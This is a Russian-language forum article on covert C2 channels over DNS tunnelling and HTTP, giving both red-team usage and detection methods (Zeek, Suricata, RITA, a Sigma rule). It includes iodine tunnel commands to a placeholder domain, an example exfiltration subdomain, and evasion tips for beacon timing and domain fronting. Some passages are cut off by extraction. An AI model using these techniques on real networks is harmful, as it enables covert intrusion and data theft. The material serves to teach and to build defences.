На red team операции в финансовом секторе мы подняли dnscat2 на арендованном VPS, прописали NS-делегацию и два дня гоняли команды через TXT-записи, параллельно выгружая хеши из NTDS.dit. Suricata на периметре молчала. SIEM - ни одного алерта. Аналитики SOC копались в HTTP-логах прокси, а DNS-трафик тихо уходил через стандартный корпоративный резолвер - без контроля длины запросов, без проверки энтропии поддоменов. Скрытые каналы передачи данных C2 работают именно потому, что DNS и HTTP - два протокола, которым инфраструктура доверяет по умолчанию: файрвол пропускает, прокси не лезет вглубь, baseline никто не строил.
Бизнес-логика скрытых C2 каналов и место в kill chain
Скрытый C2 канал - не самоцель. Это инфраструктурный элемент, без которого не работает ни один шаг после первичного проникновения. В MITRE ATT&CK скрытые каналы покрывают сразу несколько тактик: Command and Control - DNS (T1071.004), Protocol Tunneling (T1572), Protocol Impersonation (T1001.003), Steganography (T1001.002), Domain Fronting (T1090.004), Domain Generation Algorithms (T1568.002) - и Exfiltration - Exfiltration Over C2 Channel (T1041), Exfiltration Over Unencrypted Non-C2 Protocol (T1048.003).Позиция в kill chain: initial access (фишинг, скомпрометированный сервис) -> foothold (дроппер ставит агент, агент инициирует исходящее соединение) -> C2 канал (DNS tunneling или HTTP covert channel дают двустороннюю связь) -> post-exploitation (lateral movement, privilege escalation, credential dumping через канал) -> exfiltration (выгрузка данных по тому же каналу T1041 или по отдельному T1048.003). Пока канал жив - атакующий внутри сети.
В кампании SUNBURST (SolarWinds, 2020) DNS-запросы к поддоменам avsvmcloud.com работали как stage-1 selector: закодированный идентификатор жертвы передавался в поддомене, DNS-ответы (CNAME-записи) классифицировали жертв. Для отобранных целей запускалась вторая стадия - доставка TEARDROP и Cobalt Strike Beacon с HTTP/HTTPS C2 (по данным FireEye/Mandiant, декабрь 2020). В кампании Decoy Dog (2023, по данным Infoblox) - кластер активности с Pupy RAT поверх DNS C2 через TXT-записи. Два года разницы, одна и та же идея: DNS-трафик никто не смотрит.
DNS tunneling - механика и инструменты
Как устроен DNS covert channel
DNS tunneling (T1071.004, Command and Control) эксплуатирует штатный механизм рекурсивного разрешения имён. Атакующий регистрирует домен и поднимает авторитетный DNS-сервер. Агент на скомпрометированном хосте кодирует данные в поддомен:base64encodeddata.c2.attacker.tld. Корпоративный резолвер передаёт запрос по цепочке рекурсии к серверу атакующего. C2-сервер декодирует поддомен, вытаскивает данные и возвращает команду в TXT, CNAME или A-записи.Почему это работает: DNS-трафик пропускается файрволами в обоих направлениях - разрешение имён нужно для базовой работы сети. По данным ICANN, DNS-трафик часто уходит наружу ещё до авторизации пользователя, что позволяет обходить captive portals. Скорость канала - боль: максимальная длина DNS-метки 63 байта, полного имени 253 байта. Это единицы кбит/с. Для C2-команд хватает, для эксфильтрации терабайтов - забудьте.
Инструменты DNS tunneling и их артефакты
iodine - туннелирует IPv4 через DNS, создаёт виртуальный интерфейсdns0. Поддерживает типы записей A, TXT, MX, CNAME, NULL. По данным Netskope, в idle-состоянии клиент опрашивает сервер с фиксированной частотой - и вот это главный детект-артефакт. В пакетном дампе торчат непечатаемые символы в DNS-запросах. Запуск сервера: iodined -f -c -P password 10.10.10.1 tunnel.domain.tld, клиента: iodine -f -P password tunnel.domain.tld. Проект open-source на GitHub (статус поддержки стоит проверить по дате последнего коммита перед использованием).[Применимо: внутренний пентест, bypass captive portal. Требует прямого доступа к DNS-резолверу, пропускающему запросы наружу. Не работает если корпоративный DNS принудительно проксируется через DNS-over-HTTPS]
dnscat2 - C2-фреймворк, работающий исключительно через DNS. Шифрованная сессия с fingerprint-верификацией, shell, загрузка и выгрузка файлов. По данным Netskope, характерный артефакт - последовательные hex-паттерны в hostname DNS-запросов. Клиент при подключении сообщает fingerprint: «Poxes Story Peace Harp Lordy Flacks» - обе стороны подтверждают целостность шифрования. Проект на GitHub (iagox86/dnscat2), сервер на Ruby, клиент на C.
[Применимо: red team C2 при блокировке HTTP/HTTPS-выхода, внутренний пентест. Может работать с прямым указанием IP сервера без регистрации домена. Не подходит для эксфильтрации больших объёмов - канал медленный]
Cobalt Strike DNS beacon - коммерческий C2-фреймворк с DNS beacon через TXT, A и AAAA-записи. Поддерживает jitter и sleep для имитации нерегулярного трафика. DNS beacon используется как fallback: переключение на HTTPS при доступности, откат на DNS при блокировке. Начиная с Cobalt Strike 4.9 (Fortra, сентябрь 2023) DNS beacon переработан - pure DNS C2 имеет ограничения по интерактивности, hybrid DNS+HTTP рекомендован для полнофункциональной работы.
[Применимо: red team операции с долговременным присутствием, операции с несколькими каналами. Требует лицензию. DNS beacon медленнее HTTP - для интерактивной работы неудобен]
dns2tcp - туннелирует TCP-соединения через DNS-запросы. Поддерживает типы записей TXT и KEY. Проект open-source (alex-sector/dns2tcp). Годится для точечной эксфильтрации и проброса TCP в ограниченных средах.
Из реальных кампаний: APT-группа OilRig использовала DNS tunneling для картирования внутренней сети перед эскалацией атаки (по данным Palo Alto Networks). B1txor20 - GNU/Linux-бэкдор (обнаружен в 2022), залезал через Log4Shell и использовал DNS tunneling как C2-канал (по данным 360 Netlab, февраль 2022).
Когда DNS tunneling не работает
| Фактор | Влияние |
|---|---|
| DNS-over-HTTPS / DNS-over-TLS на периметре | Прямые DNS-запросы к внешним серверам блокируются, весь трафик идёт через корпоративный DoH-резолвер |
| DNS sinkholing | Домен C2 в blocklist - канал мёртв. Частично компенсируется DGA (T1568.002) |
| Palo Alto PA-series с App-ID | Определяет DNS tunneling как отдельный app-id и блокирует на уровне политики |
| Zeek с dns.log + baseline | Аномалии по длине поддомена и частоте запросов видны при дефолтных настройках iodine/dnscat2 |
| Suricata ET Open ruleset | Встроенные сигнатуры для iodine и dnscat2 по magic bytes - обходятся сменой кодировки |
| Ограничение по скорости | Единицы кбит/с - большие файлы за разумное время не вытащить |
HTTP covert channels и сетевая стеганография
Malleable C2, domain fronting и стеганографические каналы
HTTP covert channels (T1001.003, T1572) работают на другом уровне: вместо эксплуатации разрешённого протокола они мимикрируют под конкретные легитимные сервисы. Скрытый канал через HTTP маскируется так, чтобы в логах прокси и SIEM запросы выглядели как нормальный веб-трафик.В Cobalt Strike Malleable C2 profiles позволяют полностью переписать HTTP-запрос beacon: URI, заголовки, User-Agent, Content-Type, тело. На практике я настраивал профили, имитирующие трафик к CDN - на уровне прокси-логов запросы выглядели как обращения к легитимному CDN-домену с валидным User-Agent и
Content-Type: application/octet-stream. Timing-паттерны подбирал вручную: sleep 60 секунд, jitter 37% - чтобы не триггерить детект beaconing в RITA.Domain Fronting (T1090.004) - отправка TLS ClientHello с SNI легитимного CDN-домена, а HTTP Host-заголовка - с доменом C2. CDN маршрутизирует запрос к C2-серверу, при этом в TLS-логах и на прокси виден только легитимный домен. Техника потеряла универсальность: Google Cloud и AWS CloudFront закрыли domain fronting в апреле 2018, Microsoft анонсировал блокировку в Azure в марте 2021, техническое внедрение завершилось в ноябре 2022 (Azure Front Door enforcement, Azure Network Security blog). Отдельные CDN (Fastly, Cloudflare Workers) допускали схожие конфигурации дольше - для red team стоит проверять актуальные политики конкретного провайдера перед каждым проектом.
[Применимо: внешний пентест, red team с прокси-инспекцией на периметре. Не работает при TLS-инспекции, которая сверяет SNI и Host. Требует CDN-провайдера, не блокирующего domain fronting]
Стеганографические HTTP каналы (T1001.002) - данные кодируются в визуально нормальных объектах: EXIF-метаданных изображений, CSS-файлах, HTML-комментариях. По данным Varonis, зафиксированы случаи, когда малварь получала список C2-серверов из GPS-координат в фотографиях и из комментариев в социальных сетях. Скорость передачи мала, зато скрытность максимальна - стандартные IDS/IPS не анализируют контент изображений на предмет скрытых данных.
Sliver - open-source C2-фреймворк с поддержкой HTTP/HTTPS, DNS и mTLS каналов. HTTP-профили менее гибкие, чем Malleable C2, но базовую мимикрию покрывают. Написан на Go, что создаёт специфический JA3-fingerprint TLS-соединения, отличающийся от браузерного. На практике это значит: если у защитников настроен JA3 whitelist - Sliver-агент спалится на первом же запросе.
Ограничения HTTP covert channels
| Фактор | Влияние |
|---|---|
| TLS-инспекция (Squid SSL bump, Zscaler) | Расшифровывает HTTPS, видит реальные заголовки и body |
| JA3/JA3S fingerprinting | Beacon на Go/C#/.NET создаёт TLS-fingerprint, отличающийся от Chrome/Firefox. Elastic 8.x+ и CrowdStrike Falcon используют JA3 для профилирования |
| RITA beaconing detection | Статистический анализ интервалов HTTP-запросов выявляет регулярные обращения с jitter < 20% |
| Domain fronting закрыт | AWS CloudFront и Google Cloud не маршрутизируют запросы с несовпадающим SNI и Host |
Детектирование скрытых каналов передачи данных C2
Обнаружение DNS туннелирования: признаки в трафике
Ряд академических исследований (Buczak & Guven, 2016; Nadler et al., 2019) показал, что ML-классификаторы на основе статистических признаков поддоменов достигают точности выше 95% при обнаружении DNS туннелирования. Анализ образцов малвари и инструментов туннелирования подтверждает: каждый оставляет уникальные паттерны в метаданных - длина, энтропия, частота, типы записей. Но ML-модель развернёт не каждый SOC. Базовые индикаторы ловятся стандартными средствами.Пять признаков DNS tunneling в логах:
- Длина поддомена - нормальный запрос содержит 10-30 символов. iodine и dnscat2 при дефолтных настройках генерируют поддомены длиной 50-63 символа. Порог
|query| > 50в Zeek dns.log - первый фильтр. - Энтропия запроса - base32/base64-кодированные данные дают энтропию 4.5-5.5 бит на символ (Shannon entropy). Легитимные домены - 2.5-3.5. Считается в Zeek или SIEM по полю
query. - Объём запросов к одному домену - сотни TXT-запросов от одного хоста к одному домену за минуту. Baseline строится по dns.log за 7-14 дней.
- Нетипичные типы записей - массовые TXT и NULL запросы. iodine выбирает наиболее производительный тип записей (NULL/PRIVATE/TXT/SRV/MX/CNAME/A) в ходе handshake; в средах с фильтрацией NULL - обычно TXT. dnscat2 - TXT и CNAME.
- Фиксированная частота - iodine в idle-режиме опрашивает сервер с постоянным интервалом (подтверждено Netskope). Периодичность без jitter - сигнал beaconing.
- Zeek: dns.log с полями
query,qtype_name,rcode- фильтрация по длине и типу записи покрывает дефолтные конфигурации DNS tunneling - Suricata: правила ET Open для iodine и dnscat2 по magic bytes. Обходятся сменой кодировки, но ловят out-of-the-box
- Palo Alto PA-series (App-ID): определяет DNS tunneling как категорию приложения, блокирует на уровне security policy
- CrowdStrike Falcon: Falcon Insight детектирует DNS beaconing по endpoint-телеметрии - отслеживает DNS-запросы конкретных процессов
- Elastic 8.x+: встроенные ML-задачи для DNS anomaly detection - unusual DNS activity, rare DNS queries
HTTP C2: детект по поведению
Обнаружение HTTP covert channels строится на поведенческих аномалиях:- Beaconing - RITA (Real Intelligence Threat Analytics) анализирует Zeek conn.log и HTTP-логи, вычисляет score периодичности. Cobalt Strike с jitter < 30% детектируется стабильно. С jitter 50%+ уже интереснее - но RITA всё равно строит распределение и ищет статистические выбросы.
- JA3 mismatch - процесс заявляет User-Agent Chrome, а JA3-fingerprint соответствует Go/C# TLS-стеку. Elastic 8.x+ с модулем TLS fingerprinting и CrowdStrike Falcon сопоставляют JA3 с whitelist легитимных приложений.
- Энтропия body - шифрованные C2-данные в HTTP-ответе дают высокую энтропию, нетипичную для HTML/JSON. Zeek с file analysis подсчитывает энтропию загружаемых объектов.
YAML:
title: DNS Tunneling - Long Subdomain Query
status: experimental
logsource:
category: dns
product: zeek
service: dns
detection:
selection:
query|re: '^[^.]{30,63}\.'
filter:
query|endswith:
- '.in-addr.arpa'
- '.ip6.arpa'
condition: selection and not filter
fields:
- query
- src_ip
- qtypeshannon_entropy > 4.0.Сравнение инструментов скрытых C2 каналов
| Инструмент | Канал | Шифрование | Детектируемость (дефолт) | Когда использовать | Когда НЕ использовать |
|---|---|---|---|---|---|
| iodine | DNS (A, TXT, NULL) | Нет | Высокая - фиксированная частота, непечатаемые символы | Bypass captive portal, VPN через DNS | Red team с мониторингом DNS |
| dnscat2 | DNS (TXT, CNAME) | Встроенное | Средняя - hex-паттерны в hostname | C2 при блокировке HTTP | Эксфильтрация больших объёмов |
| Cobalt Strike DNS | DNS (TXT, A, AAAA) | Да | Низкая (с jitter + кастомный профиль) | Долговременный fallback C2 | Интерактивная работа - слишком медленно |
| Cobalt Strike HTTP | HTTP/HTTPS | Да | Низкая (Malleable C2) | Основной C2 канал | TLS-инспекция + JA3 whitelist |
| Sliver HTTP | HTTP/HTTPS/mTLS | Да | Средняя - Go TLS fingerprint | Open-source red team | Среда с JA3 профилированием |
| dns2tcp | DNS (TXT, KEY) | Нет | Средняя - длинные hostname | Точечная эксфильтрация, проброс TCP | Полноценное C2-управление |
Минилаб: DNS tunneling от запуска до детекта
с сортировкой по длине query покажет аномально длинные запросы. Три артефакта, которые стоит зафиксировать: последовательные hex-паттерны в hostname, концентрация TXT-запросов к одному домену с одного src_ip, высокая энтропия данных в DNS response.
Из этого pcap-дампа можно построить первый детект для своей среды: порог на длину query, whitelist легитимных TXT-запросов (SPF, DKIM, DMARC), алерт на NULL-записи.
В большинстве проектов, которые я видел, мониторинг строится вокруг HTTP-логов и endpoint-телеметрии. DNS остаётся без инспекции - и это повторяющийся паттерн в корпоративных средах. Корпоративный резолвер пропускает трафик без вопросов, dns.log в SIEM либо не подключён, либо подключён без baseline по энтропии и длине. SUNBURST, Decoy Dog, B1txor20 - реальные кампании, прошедшие через корпоративные периметры именно так.
Решение на поверхности: включить dns.log, выстроить baseline, поставить порог на TXT/NULL-запросы - это закрывает 80% дефолтных конфигураций за день работы. Но 80% - не 100%. Кастомный имплант с jitter, случайной длиной поддоменов и ротацией типов записей пройдёт через статические правила. ML-подходы на метаданных последовательностей - следующий эшелон, но требуют датасета под конкретную среду. А HTTP covert channels с Malleable C2 profile и корректным JA3 вообще выводят игру на уровень, где без TLS-инспекции и поведенческого анализа делать нечего. На HackerLab лежит сценарий, где этот primitive нужно собрать в полную цепочку.
Последнее редактирование модератором:
